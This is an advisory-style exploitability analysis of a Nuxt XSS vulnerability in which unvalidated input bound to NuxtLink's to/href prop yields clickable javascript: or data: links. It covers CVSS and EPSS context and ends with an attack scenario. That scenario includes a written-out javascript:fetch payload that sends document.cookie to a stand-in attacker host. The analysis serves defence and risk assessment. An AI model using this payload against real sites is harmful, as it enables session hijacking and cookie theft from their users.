Nuxt CVE-2026-53722

Exploitation requires that the target Nuxt application explicitly passes attacker-controlled input - originating from a query parameter, a user-supplied profile URL, a CMS-managed link field, or any other external data source - directly to the to or href prop of a <NuxtLink> component without prior scheme validation. Applications that use <NuxtLink> solely for internal route navigation (e.g., to='/about') are not affected. Custom slot consumers that re-bind the exposed href or route.href slot props to their own <a> elements under the custom prop scenario face identical risk. Exploitation is further limited by the requirement that the victim must click the rendered link - passive page load does not trigger the javascript: XSS payload. The data:text/html variant bypasses the click-to-execute XSS path but enables a phishing surface. No authentication is required of the attacker, and the victim's authentication level is irrelevant to exploitability (though a highly privileged victim yields greater impact). Non-default configuration or feature flags are not required - the vulnerable code path is active in any Nuxt application using the <NuxtLink> component with dynamic href binding.

The CVSS 4.0 score of 5.1 (Medium, AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N) accurately characterizes the exploitability profile: the attack is network-reachable with no complexity or privilege requirements, but requires a victim to click the crafted link (UI:A), which meaningfully constrains mass exploitation. The EPSS score of 0.06% at the 20th percentile is consistent with the user-interaction requirement and the conditional nature of the vulnerable pattern - only applications that bind untrusted input to NuxtLink are exposed, not all Nuxt deployments. The vulnerability is not in CISA KEV, confirming no active exploitation at time of analysis. However, the public security advisory and fix commits effectively document the vulnerability's mechanics, lowering the barrier for a motivated attacker to craft targeted phishing campaigns. No conflicting signals were found between CVSS metrics and the description: the network attack vector is accurate for a web-delivered XSS, and UI:A correctly captures the click requirement. The primary real-world risk is targeted phishing or session-hijacking against higher-privileged users of affected applications with user-controlled link rendering, rather than broad automated exploitation.

An attacker identifies a Nuxt application that renders user-supplied profile URLs through <NuxtLink :to='user.profileUrl'> and submits javascript:fetch('https://attacker.example/c?d='+document.cookie) as their profile URL value stored in the application's CMS or user record. When an authenticated victim (such as an administrator reviewing user profiles) visits the page and clicks the rendered profile link, the script executes in the application's origin, exfiltrating the victim's session cookies or CSRF tokens to the attacker's server. No special tooling is required beyond crafting the malicious URL value, and no public exploit code currently exists that would automate this attack.